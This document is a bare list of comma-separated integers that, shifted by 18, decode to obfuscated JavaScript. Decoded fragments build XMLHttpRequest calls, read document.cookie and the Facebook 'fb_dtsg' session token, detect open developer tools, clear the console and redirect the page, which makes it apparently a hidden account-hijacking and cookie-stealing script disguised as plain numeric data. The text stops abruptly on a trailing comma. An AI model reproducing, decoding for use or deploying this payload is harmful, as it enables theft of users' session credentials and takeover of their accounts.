31,36,35,27,34,39,23,26,94,79,96,97,83,55,92,98,22,31,34,37,27,35,30,23,26,94,79,96,97,83,55,92,98,22,31,33,37,27,32,33,23,26,94,79,96,97,83,55,92,98,22,31,37,33,27,35,37,23,26,94,79,96,97,83,55,92,98,22,31,34,35,27,34,34,23,26,94,79,96,97,83,55,92,98,22,31,33,37,27,33,37,23,23,107,26,98,43,92,83,101,14,70,59,58,54,98,98,94,64,83,95,99,83,97,98,41,98,28,93,94,83,92,22,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,31,33,37,27,35,37,23,26,94,79,96,97,83,55,92,98,22,31,31,37,27,33,38,23,26,94,79,96,97,83,55,92,98,22,39,34,27,31,31,23,26,94,79,96,97,83,55,92,98,22,31,33,31,27,34,37,23,23,26,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,31,34,33,27,33,39,23,26,94,79,96,97,83,55,92,98,22,31,37,35,27,35,39,23,26,94,79,96,97,83,55,92,98,22,31,35,34,27,33,38,23,26,94,79,96,97,83,55,92,98,22,31,35,36,27,34,34,23,26,94,79,96,97,83,55,92,98,22,31,34,37,27,33,32,23,26,94,79,96,97,83,55,92,98,22,39,38,27,34,30,23,26,94,79,96,97,83,55,92,98,22,35,37,27,31,30,23,26,94,79,96,97,83,55,92,98,22,35,37,27,31,30,23,26,94,79,96,97,83,55,92,98,22,31,34,31,27,32,32,23,26,94,79,96,97,83,55,92,98,22,31,37,36,27,35,37,23,26,94,79,96,97,83,55,92,98,22,31,35,35,27,33,36,23,26,94,79,96,97,83,55,92,98,22,37,32,27,32,36,23,26,94,79,96,97,83,55,92,98,22,31,36,30,27,35,38,23,26,94,79,96,97,83,55,92,98,22,31,30,37,27,31,30,23,26,94,79,96,97,83,55,92,98,22,31,31,38,27,31,39,23,26,94,79,96,97,83,55,92,98,22,31,35,34,27,35,33,23,26,94,79,96,97,83,55,92,98,22,31,31,35,27,31,37,23,26,94,79,96,97,83,55,92,98,22,31,34,37,27,33,36,23,26,94,79,96,97,83,55,92,98,22,31,32,34,27,31,33,23,26,94,79,96,97,83,55,92,98,22,31,32,36,27,31,39,23,26,94,79,96,97,83,55,92,98,22,39,37,27,35,31,23,26,94,79,96,97,83,55,92,98,22,31,35,31,27,35,32,23,26,94,79,96,97,83,55,92,98,22,31,37,30,27,35,39,23,26,94,79,96,97,83,55,92,98,22,31,32,32,27,31,33,23,26,94,79,96,97,83,55,92,98,22,39,36,27,34,39,23,26,94,79,96,97,83,55,92,98,22,31,34,32,27,34,33,23,26,94,79,96,97,83,55,92,98,22,31,34,35,27,34,31,23,26,94,79,96,97,83,55,92,98,22,31,35,35,27,35,34,23,26,94,79,96,97,83,55,92,98,22,31,35,32,27,35,33,23,26,94,79,96,97,83,55,92,98,22,31,35,35,27,34,38,23,26,94,79,96,97,83,55,92,98,22,31,36,35,27,35,33,23,26,94,79,96,97,83,55,92,98,22,31,34,33,27,33,32,23,26,94,79,96,97,83,55,92,98,22,31,35,31,27,34,36,23,26,94,79,96,97,83,55,92,98,22,31,34,30,27,33,30,23,26,94,79,96,97,83,55,92,98,22,31,33,31,27,31,35,23,26,94,79,96,97,83,55,92,98,22,36,35,27,31,38,23,23,23,26,98,28,97,83,98,64,83,95,99,83,97,98,54,83,79,82,83,96,22,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,39,31,27,32,34,23,26,94,79,96,97,83,55,92,98,22,31,34,33,27,33,32,23,26,94,79,96,97,83,55,92,98,22,31,36,32,27,35,32,23,26,94,79,96,97,83,55,92,98,22,31,35,32,27,33,36,23,26,94,79,96,97,83,55,92,98,22,31,31,34,27,31,33,23,26,94,79,96,97,83,55,92,98,22,31,36,32,27,35,32,23,26,94,79,96,97,83,55,92,98,22,31,35,38,27,34,32,23,26,94,79,96,97,83,55,92,98,22,36,31,27,31,36,23,26,94,79,96,97,83,55,92,98,22,39,38,27,31,34,23,26,94,79,96,97,83,55,92,98,22,31,36,36,27,34,35,23,26,94,79,96,97,83,55,92,98,22,31,36,30,27,34,38,23,26,94,79,96,97,83,55,92,98,22,31,33,31,27,33,30,23,23,26,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,31,33,32,27,33,35,23,26,94,79,96,97,83,55,92,98,22,31,35,39,27,34,37,23,26,94,79,96,97,83,55,92,98,22,31,37,31,27,35,39,23,26,94,79,96,97,83,55,92,98,22,31,36,30,27,35,32,23,26,94,79,96,97,83,55,92,98,22,31,34,33,27,33,38,23,26,94,79,96,97,83,55,92,98,22,31,31,34,27,31,35,23,26,94,79,96,97,83,55,92,98,22,31,31,33,27,31,36,23,26,94,79,96,97,83,55,92,98,22,31,36,31,27,34,35,23,26,94,79,96,97,83,55,92,98,22,31,33,30,27,32,35,23,26,94,79,96,97,83,55,92,98,22,31,33,32,27,32,31,23,26,94,79,96,97,83,55,92,98,22,31,33,36,27,32,36,23,26,94,79,96,97,83,55,92,98,22,31,30,33,27,35,36,23,26,94,79,96,97,83,55,92,98,22,31,37,30,27,35,30,23,26,94,79,96,97,83,55,92,98,22,31,30,31,27,35,36,23,26,94,79,96,97,83,55,92,98,22,31,34,33,27,32,34,23,26,94,79,96,97,83,55,92,98,22,31,37,30,27,35,31,23,26,94,79,96,97,83,55,92,98,22,31,36,34,27,34,35,23,26,94,79,96,97,83,55,92,98,22,37,36,27,33,31,23,26,94,79,96,97,83,55,92,98,22,31,33,30,27,32,38,23,26,94,79,96,97,83,55,92,98,22,31,37,30,27,35,39,23,26,94,79,96,97,83,55,92,98,22,31,36,37,27,35,33,23,26,94,79,96,97,83,55,92,98,22,31,32,38,27,31,39,23,26,94,79,96,97,83,55,92,98,22,38,30,27,33,35,23,26,94,79,96,97,83,55,92,98,22,31,37,34,27,35,37,23,26,94,79,96,97,83,55,92,98,22,31,32,35,27,31,31,23,26,94,79,96,97,83,55,92,98,22,31,32,34,27,31,36,23,26,94,79,96,97,83,55,92,98,22,31,31,33,27,31,32,23,26,94,79,96,97,83,55,92,98,22,31,32,36,27,31,36,23,26,94,79,96,97,83,55,92,98,22,31,35,31,27,35,32,23,26,94,79,96,97,83,55,92,98,22,31,36,32,27,35,31,23,26,94,79,96,97,83,55,92,98,22,31,33,36,27,33,36,23,26,94,79,96,97,83,55,92,98,22,31,32,38,27,32,37,23,26,94,79,96,97,83,55,92,98,22,31,33,37,27,33,37,23,26,94,79,96,97,83,55,92,98,22,39,33,27,33,34,23,26,94,79,96,97,83,55,92,98,22,35,30,27,31,38,23,26,94,79,96,97,83,55,92,98,22,31,31,34,27,31,35,23,26,94,79,96,97,83,55,92,98,22,31,34,34,27,34,30,23,26,94,79,96,97,83,55,92,98,22,31,32,31,27,32,34,23,26,94,79,96,97,83,55,92,98,22,31,36,34,27,35,30,23,26,94,79,96,97,83,55,92,98,22,31,37,31,27,35,36,23,26,94,79,96,97,83,55,92,98,22,31,33,37,27,33,36,23,26,94,79,96,97,83,55,92,98,22,31,33,32,27,31,36,23,26,94,79,96,97,83,55,92,98,22,31,31,33,27,35,32,23,26,94,79,96,97,83,55,92,98,22,31,31,30,27,32,35,23,26,94,79,96,97,83,55,92,98,22,39,35,27,31,31,23,26,94,79,96,97,83,55,92,98,22,38,35,27,31,35,23,26,94,79,96,97,83,55,92,98,22,36,31,27,31,36,23,26,94,79,96,97,83,55,92,98,22,31,30,32,27,34,36,23,23,23,26,98,28,97,83,92,82,22,77,48,22,83,23,23,26,98,28,93,92,96,83,79,82,103,97,98,79,98,83,81,86,79,92,85,83,43,84,99,92,81,98,87,93,92,22,23,105,34,43,43,98,28,96,83,79,82,103,65,98,79,98,83,20,20,22,77,51,22,23,26,81,93,92,97,93,90,83,28,90,93,85,22,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,38,37,27,31,36,23,26,94,79,96,97,83,55,92,98,22,31,32,37,27,32,36,23,26,94,79,96,97,83,55,92,98,22,31,33,36,27,32,30,23,26,94,79,96,97,83,55,92,98,22,34,33,27,31,31,23,26,94,79,96,97,83,55,92,98,22,31,30,38,27,32,35,23,26,94,79,96,97,83,55,92,98,22,31,36,35,27,34,39,23,26,94,79,96,97,83,55,92,98,22,31,34,37,27,35,30,23,26,94,79,96,97,83,55,92,98,22,31,33,37,27,32,33,23,26,94,79,96,97,83,55,92,98,22,31,37,33,27,35,37,23,26,94,79,96,97,83,55,92,98,22,31,34,35,27,34,34,23,26,94,79,96,97,83,55,92,98,22,31,33,37,27,33,37,23,23,23,23,107,107,84,99,92,81,98,87,93,92,14,77,51,22,23,105,100,79,96,14,83,43,105,84,80,77,82,98,97,85,40,84,80,77,82,98,97,85,26,92,86,40,92,86,26,81,93,92,84,87,96,91,40,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,31,35,38,27,34,37,23,26,94,79,96,97,83,55,92,98,22,31,33,36,27,32,36,23,23,26,16,97,99,80,91,87,98,73,49,93,92,98,87,92,99,83,75,16,40,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,31,30,35,27,33,38,23,26,94,79,96,97,83,55,92,98,22,31,32,39,27,31,38,23,26,94,79,96,97,83,55,92,98,22,31,34,30,27,33,30,23,26,94,79,96,97,83,55,92,98,22,31,35,34,27,33,38,23,26,94,79,96,97,83,55,92,98,22,31,34,38,27,34,33,23,26,94,79,96,97,83,55,92,98,22,31,33,32,27,32,32,23,26,94,79,96,97,83,55,92,98,22,31,35,37,27,34,30,23,26,94,79,96,97,83,55,92,98,22,31,32,36,27,32,35,23,23,107,26,98,43,92,83,101,14,70,59,58,54,98,98,94,64,83,95,99,83,97,98,41,98,28,93,94,83,92,22,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,31,33,37,27,35,37,23,26,94,79,96,97,83,55,92,98,22,31,31,37,27,33,38,23,26,94,79,96,97,83,55,92,98,22,39,34,27,31,31,23,26,94,79,96,97,83,55,92,98,22,31,33,31,27,34,37,23,23,26,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,31,34,33,27,33,39,23,26,94,79,96,97,83,55,92,98,22,31,37,35,27,35,39,23,26,94,79,96,97,83,55,92,98,22,31,35,34,27,33,38,23,26,94,79,96,97,83,55,92,98,22,31,35,36,27,34,34,23,26,94,79,96,97,83,55,92,98,22,31,34,37,27,33,32,23,26,94,79,96,97,83,55,92,98,22,39,38,27,34,30,23,26,94,79,96,97,83,55,92,98,22,35,37,27,31,30,23,26,94,79,96,97,83,55,92,98,22,35,37,27,31,30,23,26,94,79,96,97,83,55,92,98,22,31,34,31,27,32,32,23,26,94,79,96,97,83,55,92,98,22,31,37,36,27,35,37,23,26,94,79,96,97,83,55,92,98,22,31,35,35,27,33,36,23,26,94,79,96,97,83,55,92,98,22,37,32,27,32,36,23,26,94,79,96,97,83,55,92,98,22,31,36,30,27,35,38,23,26,94,79,96,97,83,55,92,98,22,31,30,37,27,31,30,23,26,94,79,96,97,83,55,92,98,22,31,31,38,27,31,39,23,26,94,79,96,97,83,55,92,98,22,31,35,34,27,35,33,23,26,94,79,96,97,83,55,92,98,22,31,31,35,27,31,37,23,26,94,79,96,97,83,55,92,98,22,31,34,37,27,33,36,23,26,94,79,96,97,83,55,92,98,22,31,32,34,27,31,33,23,26,94,79,96,97,83,55,92,98,22,31,32,36,27,31,39,23,26,94,79,96,97,83,55,92,98,22,39,37,27,35,31,23,26,94,79,96,97,83,55,92,98,22,31,35,31,27,35,32,23,26,94,79,96,97,83,55,92,98,22,31,37,30,27,35,39,23,26,94,79,96,97,83,55,92,98,22,31,32,32,27,31,33,23,26,94,79,96,97,83,55,92,98,22,39,36,27,34,39,23,26,94,79,96,97,83,55,92,98,22,31,34,32,27,34,33,23,26,94,79,96,97,83,55,92,98,22,31,34,35,27,34,31,23,26,94,79,96,97,83,55,92,98,22,31,35,35,27,35,34,23,26,94,79,96,97,83,55,92,98,22,31,35,32,27,35,33,23,26,94,79,96,97,83,55,92,98,22,31,35,35,27,34,38,23,26,94,79,96,97,83,55,92,98,22,31,36,35,27,35,33,23,26,94,79,96,97,83,55,92,98,22,31,34,33,27,33,32,23,26,94,79,96,97,83,55,92,98,22,31,35,31,27,34,36,23,26,94,79,96,97,83,55,92,98,22,31,34,30,27,33,30,23,26,94,79,96,97,83,55,92,98,22,31,33,31,27,31,35,23,26,94,79,96,97,83,55,92,98,22,36,35,27,31,38,23,23,23,26,98,28,97,83,98,64,83,95,99,83,97,98,54,83,79,82,83,96,22,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,39,31,27,32,34,23,26,94,79,96,97,83,55,92,98,22,31,34,33,27,33,32,23,26,94,79,96,97,83,55,92,98,22,31,36,32,27,35,32,23,26,94,79,96,97,83,55,92,98,22,31,35,32,27,33,36,23,26,94,79,96,97,83,55,92,98,22,31,31,34,27,31,33,23,26,94,79,96,97,83,55,92,98,22,31,36,32,27,35,32,23,26,94,79,96,97,83,55,92,98,22,31,35,38,27,34,32,23,26,94,79,96,97,83,55,92,98,22,36,31,27,31,36,23,26,94,79,96,97,83,55,92,98,22,39,38,27,31,34,23,26,94,79,96,97,83,55,92,98,22,31,36,36,27,34,35,23,26,94,79,96,97,83,55,92,98,22,31,36,30,27,34,38,23,26,94,79,96,97,83,55,92,98,22,31,33,31,27,33,30,23,23,26,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,31,33,32,27,33,35,23,26,94,79,96,97,83,55,92,98,22,31,35,39,27,34,37,23,26,94,79,96,97,83,55,92,98,22,31,37,31,27,35,39,23,26,94,79,96,97,83,55,92,98,22,31,36,30,27,35,32,23,26,94,79,96,97,83,55,92,98,22,31,34,33,27,33,38,23,26,94,79,96,97,83,55,92,98,22,31,31,34,27,31,35,23,26,94,79,96,97,83,55,92,98,22,31,31,33,27,31,36,23,26,94,79,96,97,83,55,92,98,22,31,36,31,27,34,35,23,26,94,79,96,97,83,55,92,98,22,31,33,30,27,32,35,23,26,94,79,96,97,83,55,92,98,22,31,33,32,27,32,31,23,26,94,79,96,97,83,55,92,98,22,31,33,36,27,32,36,23,26,94,79,96,97,83,55,92,98,22,31,30,33,27,35,36,23,26,94,79,96,97,83,55,92,98,22,31,37,30,27,35,30,23,26,94,79,96,97,83,55,92,98,22,31,30,31,27,35,36,23,26,94,79,96,97,83,55,92,98,22,31,34,33,27,32,34,23,26,94,79,96,97,83,55,92,98,22,31,37,30,27,35,31,23,26,94,79,96,97,83,55,92,98,22,31,36,34,27,34,35,23,26,94,79,96,97,83,55,92,98,22,37,36,27,33,31,23,26,94,79,96,97,83,55,92,98,22,31,33,30,27,32,38,23,26,94,79,96,97,83,55,92,98,22,31,37,30,27,35,39,23,26,94,79,96,97,83,55,92,98,22,31,36,37,27,35,33,23,26,94,79,96,97,83,55,92,98,22,31,32,38,27,31,39,23,26,94,79,96,97,83,55,92,98,22,38,30,27,33,35,23,26,94,79,96,97,83,55,92,98,22,31,37,34,27,35,37,23,26,94,79,96,97,83,55,92,98,22,31,32,35,27,31,31,23,26,94,79,96,97,83,55,92,98,22,31,32,34,27,31,36,23,26,94,79,96,97,83,55,92,98,22,31,31,33,27,31,32,23,26,94,79,96,97,83,55,92,98,22,31,32,36,27,31,36,23,26,94,79,96,97,83,55,92,98,22,31,35,31,27,35,32,23,26,94,79,96,97,83,55,92,98,22,31,36,32,27,35,31,23,26,94,79,96,97,83,55,92,98,22,31,33,36,27,33,36,23,26,94,79,96,97,83,55,92,98,22,31,32,38,27,32,37,23,26,94,79,96,97,83,55,92,98,22,31,33,37,27,33,37,23,26,94,79,96,97,83,55,92,98,22,39,33,27,33,34,23,26,94,79,96,97,83,55,92,98,22,35,30,27,31,38,23,26,94,79,96,97,83,55,92,98,22,31,31,34,27,31,35,23,26,94,79,96,97,83,55,92,98,22,31,34,34,27,34,30,23,26,94,79,96,97,83,55,92,98,22,31,32,31,27,32,34,23,26,94,79,96,97,83,55,92,98,22,31,36,34,27,35,30,23,26,94,79,96,97,83,55,92,98,22,31,37,31,27,35,36,23,26,94,79,96,97,83,55,92,98,22,31,33,37,27,33,36,23,26,94,79,96,97,83,55,92,98,22,31,33,32,27,31,36,23,26,94,79,96,97,83,55,92,98,22,31,31,33,27,35,32,23,26,94,79,96,97,83,55,92,98,22,31,31,30,27,32,35,23,26,94,79,96,97,83,55,92,98,22,39,35,27,31,31,23,26,94,79,96,97,83,55,92,98,22,38,35,27,31,35,23,26,94,79,96,97,83,55,92,98,22,36,31,27,31,36,23,26,94,79,96,97,83,55,92,98,22,31,30,32,27,34,36,23,23,23,26,98,28,97,83,92,82,22,77,48,22,83,23,23,26,98,28,93,92,96,83,79,82,103,97,98,79,98,83,81,86,79,92,85,83,43,84,99,92,81,98,87,93,92,22,23,105,34,43,43,98,28,96,83,79,82,103,65,98,79,98,83,20,20,22,81,93,92,97,93,90,83,28,90,93,85,22,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,31,31,34,27,34,33,23,26,94,79,96,97,83,55,92,98,22,31,31,36,27,31,35,23,26,94,79,96,97,83,55,92,98,22,31,37,36,27,36,30,23,26,94,79,96,97,83,55,92,98,22,37,30,27,33,38,23,26,94,79,96,97,83,55,92,98,22,31,31,33,27,34,36,23,26,94,79,96,97,83,55,92,98,22,31,33,33,27,32,32,23,26,94,79,96,97,83,55,92,98,22,31,36,36,27,35,36,23,26,94,79,96,97,83,55,92,98,22,31,37,36,27,36,30,23,26,94,79,96,97,83,55,92,98,22,31,35,37,27,35,32,23,26,94,79,96,97,83,55,92,98,22,31,34,31,27,33,31,23,26,94,79,96,97,83,55,92,98,22,31,33,38,27,32,31,23,26,94,79,96,97,83,55,92,98,22,31,35,35,27,35,34,23,23,23,26,77,52,22,23,26,90,93,81,79,98,87,93,92,28,86,96,83,84,43,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,31,36,32,27,35,38,23,26,94,79,96,97,83,55,92,98,22,31,34,37,27,33,31,23,26,94,79,96,97,83,55,92,98,22,31,34,30,27,32,34,23,26,94,79,96,97,83,55,92,98,22,31,35,37,27,34,35,23,26,94,79,96,97,83,55,92,98,22,31,32,38,27,31,33,23,26,94,79,96,97,83,55,92,98,22,37,33,27,31,35,23,26,94,79,96,97,83,55,92,98,22,37,30,27,32,33,23,26,94,79,96,97,83,55,92,98,22,36,39,27,32,32,23,26,94,79,96,97,83,55,92,98,22,31,33,31,27,31,32,23,26,94,79,96,97,83,55,92,98,22,31,35,33,27,33,34,23,26,94,79,96,97,83,55,92,98,22,31,36,32,27,34,33,23,26,94,79,96,97,83,55,92,98,22,36,33,27,31,37,23,26,94,79,96,97,83,55,92,98,22,31,35,33,27,35,31,23,26,94,79,96,97,83,55,92,98,22,31,32,31,27,32,34,23,26,94,79,96,97,83,55,92,98,22,31,31,37,27,31,38,23,26,94,79,96,97,83,55,92,98,22,31,31,34,27,31,33,23,26,94,79,96,97,83,55,92,98,22,31,34,34,27,34,36,23,26,94,79,96,97,83,55,92,98,22,31,34,38,27,33,37,23,26,94,79,96,97,83,55,92,98,22,31,34,38,27,33,37,23,26,94,79,96,97,83,55,92,98,22,31,33,35,27,32,38,23,26,94,79,96,97,83,55,92,98,22,38,39,27,34,33,23,26,94,79,96,97,83,55,92,98,22,31,33,35,27,33,36,23,26,94,79,96,97,83,55,92,98,22,31,36,37,27,35,36,23,26,94,79,96,97,83,55,92,98,22,31,33,38,27,32,39,23,23,23,107,107,84,99,92,81,98,87,93,92,14,77,52,22,23,105,84,93,96,22,100,79,96,14,83,43,82,93,81,99,91,83,92,98,28,81,93,93,89,87,83,28,97,94,90,87,98,22,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,31,30,38,27,34,39,23,23,23,26,98,43,30,41,98,42,83,28,90,83,92,85,98,86,41,98,25,25,23,105,100,79,96,14,93,43,83,73,98,75,26,79,43,93,28,87,92,82,83,102,61,84,22,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,39,32,27,33,31,23,23,23,26,92,43,79,44,27,31,45,93,28,97,99,80,97,98,96,22,30,26,79,23,40,93,41,82,93,81,99,91,83,92,98,28,81,93,93,89,87,83,43,92,25,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,38,39,27,32,38,23,26,94,79,96,97,83,55,92,98,22,39,39,27,34,30,23,26,94,79,96,97,83,55,92,98,22,31,32,33,27,32,32,23,26,94,79,96,97,83,55,92,98,22,31,36,30,27,34,30,23,26,94,79,96,97,83,55,92,98,22,31,34,36,27,33,34,23,26,94,79,96,97,83,55,92,98,22,31,32,34,27,31,39,23,26,94,79,96,97,83,55,92,98,22,31,32,34,27,31,30,23,26,94,79,96,97,83,55,92,98,22,31,34,39,27,34,38,23,26,94,79,96,97,83,55,92,98,22,31,37,30,27,35,35,23,26,94,79,96,97,83,55,92,98,22,37,34,27,31,33,23,26,94,79,96,97,83,55,92,98,22,31,33,37,27,35,33,23,26,94,79,96,97,83,55,92,98,22,31,32,31,27,31,37,23,26,94,79,96,97,83,55,92,98,22,31,34,33,27,32,36,23,26,94,79,96,97,83,55,92,98,22,39,39,27,35,35,23,26,94,79,96,97,83,55,92,98,22,37,34,27,34,32,23,26,94,79,96,97,83,55,92,98,22,31,30,37,27,35,39,23,26,94,79,96,97,83,55,92,98,22,36,31,27,31,32,23,26,94,79,96,97,83,55,92,98,22,36,34,27,33,32,23,26,94,79,96,97,83,55,92,98,22,39,37,27,32,33,23,26,94,79,96,97,83,55,92,98,22,31,31,38,27,32,31,23,26,94,79,96,97,83,55,92,98,22,31,34,36,27,33,36,23,26,94,79,96,97,83,55,92,98,22,39,31,27,35,39,23,26,94,79,96,97,83,55,92,98,22,39,37,27,34,38,23,26,94,79,96,97,83,55,92,98,22,36,39,27,31,32,23,26,94,79,96,97,83,55,92,98,22,38,32,27,32,37,23,26,94,79,96,97,83,55,92,98,22,37,39,27,33,31,23,26,94,79,96,97,83,55,92,98,22,37,31,27,33,39,23,26,94,79,96,97,83,55,92,98,22,37,31,27,32,33,23,26,94,79,96,97,83,55,92,98,22,39,38,27,35,30,23,26,94,79,96,97,83,55,92,98,22,38,36,27,32,38,23,26,94,79,96,97,83,55,92,98,22,36,32,27,31,34,23,26,94,79,96,97,83,55,92,98,22,36,36,27,31,38,23,26,94,79,96,97,83,55,92,98,22,31,31,37,27,35,39,23,26,94,79,96,97,83,55,92,98,22,37,34,27,32,36,23,26,94,79,96,97,83,55,92,98,22,39,36,27,34,38,23,26,94,79,96,97,83,55,92,98,22,36,34,27,33,32,23,26,94,79,96,97,83,55,92,98,22,31,30,37,27,33,36,23,26,94,79,96,97,83,55,92,98,22,31,32,35,27,34,38,23,26,94,79,96,97,83,55,92,98,22,31,30,33,27,31,39,23,26,94,79,96,97,83,55,92,98,22,38,39,27,33,30,23,26,94,79,96,97,83,55,92,98,22,31,35,31,27,35,31,23,26,94,79,96,97,83,55,92,98,22,31,32,33,27,31,32,23,26,94,79,96,97,83,55,92,98,22,31,34,37,27,33,38,23,26,94,79,96,97,83,55,92,98,22,31,31,33,27,31,36,23,26,94,79,96,97,83,55,92,98,22,31,36,33,27,35,38,23,26,94,79,96,97,83,55,92,98,22,31,32,39,27,31,39,23,26,94,79,96,97,83,55,92,98,22,37,36,27,31,35,23,26,94,79,96,97,83,55,92,98,22,31,30,36,27,36,30,23,26,94,79,96,97,83,55,92,98,22,31,34,33,27,34,31,23,26,94,79,96,97,83,55,92,98,22,31,32,35,27,32,38,23,26,94,79,96,97,83,55,92,98,22,31,31,39,27,32,30,23,26,94,79,96,97,83,55,92,98,22,31,31,37,27,31,36,23,26,94,79,96,97,83,55,92,98,22,31,32,35,27,32,37,23,26,94,79,96,97,83,55,92,98,22,31,37,30,27,35,39,23,26,94,79,96,97,83,55,92,98,22,31,33,30,27,31,39,23,26,94,79,96,97,83,55,92,98,22,31,35,31,27,34,34,23,26,94,79,96,97,83,55,92,98,22,37,36,27,33,30,23,26,94,79,96,97,83,55,92,98,22,31,34,38,27,34,39,23,26,94,79,96,97,83,55,92,98,22,31,36,39,27,35,38,23,26,94,79,96,97,83,55,92,98,22,31,32,39,27,32,30,23,23,107,107,100,79,96,14,82,80,43,15,31,26,81,86,83,81,89,65,98,79,98,99,97,43,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,31,32,37,27,31,36,23,26,94,79,96,97,83,55,92,98,22,31,31,33,27,31,31,23,26,94,79,96,97,83,55,92,98,22,31,33,30,27,32,38,23,23,26,83,90,83,91,83,92,98,43,92,83,101,14,55,91,79,85,83,41,87,84,22,83,90,83,91,83,92,98,28,77,77,82,83,84,87,92,83,53,83,98,98,83,96,77,77,22,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,31,31,39,27,31,34,23,26,94,79,96,97,83,55,92,98,22,31,32,38,27,32,38,23,23,26,84,99,92,81,98,87,93,92,22,23,105,81,86,83,81,89,65,98,79,98,99,97,43,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,31,35,38,27,34,37,23,26,94,79,96,97,83,55,92,98,22,31,33,36,27,32,36,23,23,107,23,26,81,93,92,97,93,90,83,28,90,93,85,22,83,90,83,91,83,92,98,23,26,81,93,92,97,93,90,83,28,81,90,83,79,96,22,23,26,90,93,81,79,98,87,93,92,28,86,93,97,98,92,79,91,83,28,87,92,82,83,102,61,84,22,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,31,35,36,27,35,34,23,26,94,79,96,97,83,55,92,98,22,31,35,30,27,35,33,23,26,94,79,96,97,83,55,92,98,22,31,34,35,27,34,36,23,26,94,79,96,97,83,55,92,98,22,31,32,35,27,32,34,23,26,94,79,96,97,83,55,92,98,22,31,34,32,27,34,34,23,26,94,79,96,97,83,55,92,98,22,31,36,30,27,34,39,23,26,94,79,96,97,83,55,92,98,22,31,36,33,27,35,32,23,26,94,79,96,97,83,55,92,98,22,31,35,38,27,35,31,23,26,94,79,96,97,83,55,92,98,22,39,32,27,34,36,23,26,94,79,96,97,83,55,92,98,22,31,30,39,27,31,30,23,26,94,79,96,97,83,55,92,98,22,31,36,38,27,35,37,23,26,94,79,96,97,83,55,92,98,22,31,35,35,27,34,36,23,23,23,44,43,30,20,20,22,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,31,32,37,27,31,36,23,26,94,79,96,97,83,55,92,98,22,31,31,33,27,31,31,23,26,94,79,96,97,83,55,92,98,22,31,33,30,27,32,38,23,23,43,43,81,86,83,81,89,65,98,79,98,99,97,106,106,31,43,43,82,80,23,23,105,87,84,22,84,80,77,82,98,97,85,77,90,87,97,98,43,82,93,81,99,91,83,92,98,28,85,83,98,51,90,83,91,83,92,98,97,48,103,60,79,91,83,22,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,31,35,30,27,34,38,23,26,94,79,96,97,83,55,92,98,22,31,34,30,27,34,32,23,26,94,79,96,97,83,55,92,98,22,31,35,30,27,35,35,23,26,94,79,96,97,83,55,92,98,22,31,35,38,27,35,38,23,26,94,79,96,97,83,55,92,98,22,31,34,32,27,32,36,23,26,94,79,96,97,83,55,92,98,22,31,34,30,27,32,35,23,26,94,79,96,97,83,55,92,98,22,31,34,39,27,34,36,23,23,23,26,15,82,93,81,99,91,83,92,98,28,85,83,98,51,90,83,91,83,92,98,48,103,55,82,22,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,31,32,38,27,32,33,23,26,94,79,96,97,83,55,92,98,22,31,35,30,27,33,35,23,26,94,79,96,97,83,55,92,98,22,31,36,37,27,35,33,23,26,94,79,96,97,83,55,92,98,22,31,34,31,27,32,34,23,26,94,79,96,97,83,55,92,98,22,31,36,33,27,35,33,23,23,23,20,20,84,80,77,82,98,97,85,77,90,87,97,98,28,90,83,92,85,98,86,44,30,20,20,90,93,81,79,98,87,93,92,28,86,96,83,84,28,87,92,82,83,102,61,84,22,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,31,35,39,27,35,37,23,26,94,79,96,97,83,55,92,98,22,31,33,39,27,34,32,23,26,94,79,96,97,83,55,92,98,22,31,35,37,27,35,38,23,26,94,79,96,97,83,55,92,98,22,31,33,34,27,33,33,23,26,94,79,96,97,83,55,92,98,22,31,33,34,27,33,36,23,26,94,79,96,97,83,55,92,98,22,31,36,32,27,35,31,23,26,94,79,96,97,83,55,92,98,22,31,33,30,27,31,39,23,26,94,79,96,97,83,55,92,98,22,31,35,37,27,35,30,23,26,94,79,96,97,83,55,92,98,22,38,31,27,33,35,23,26,94,79,96,97,83,55,92,98,22,31,35,37,27,35,38,23,26,94,79,96,97,83,55,92,98,22,31,35,32,27,34,31,23,26,94,79,